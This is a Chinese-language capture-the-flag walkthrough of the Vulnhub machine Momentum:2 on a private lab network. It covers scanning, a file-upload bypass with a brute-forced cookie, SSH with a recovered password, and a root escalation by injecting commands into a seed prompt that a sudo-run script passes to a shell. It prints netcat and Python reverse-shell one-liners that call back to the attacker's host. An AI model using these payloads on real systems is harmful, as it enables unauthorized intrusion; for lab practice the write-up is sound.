参考链接
Vulnhub:Momentum:2
参考博客1
参考博客2
开始练习
本机ip:192.168.56.102
目的机ip:192.168.56.139
fping -aqg 192.168.56.0/24
nmap 扫描主机
nmap -A -p- 192.168.56.139
gobuster扫目录
gobuster dir -u http://192.168.56.139/ -x html,txt,php,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log
dashboard.html可以上传文件
/js/main.js是文件上传的代码,没有什么限制,主要通过ajax.php传输,保存在之前扫描到的/owls文件夹,如果传输成功,返回1,但是实际测试时却只能传txt文件,所以应该是ajax.php有文件类型限制
有一个之前没有发现的ajax.php.bak文件,可以下载到本地,就知道了后缀限制方式
curl http://192.168.56.139/ajax.php.bak
#或者浏览器直接访问下载
随意上传一个php文件,Bp抓包放入repeater,添加对应字段
再放入intruder爆破cookie的最后一位
成功上传,将文件换为反向shell
nc -nvlp 4396
/home/athena目录下,userFLAG和一个password-reminder.txt
考验词汇量了
#密码 myvulnerableapp*
ssh 192.168.56.139 -l ahtena
sudo -l
随机生成cookie并把输入的seed保存在log.txt中
cat /home/team-tasks/cookie-gen.py
重点是红框中的代码,它需要用户输入seed,于是创建了一个进程,用于输入,但是它同时也是一个当前运行用户的shell,如果使用root用户执行该文件,就可以利用这个输入框弹出root的shell
# ";"闭合之前的输入,或者&&命令
#再利用netcat弹shell
;nc 192.168.56.102 4396 -e /bin/bash
&& nc 192.168.56.102 4396 -e /bin/bash
#也可以使用pyhon弹shell
;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4396));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
&& python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4396));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
拿到root FLAG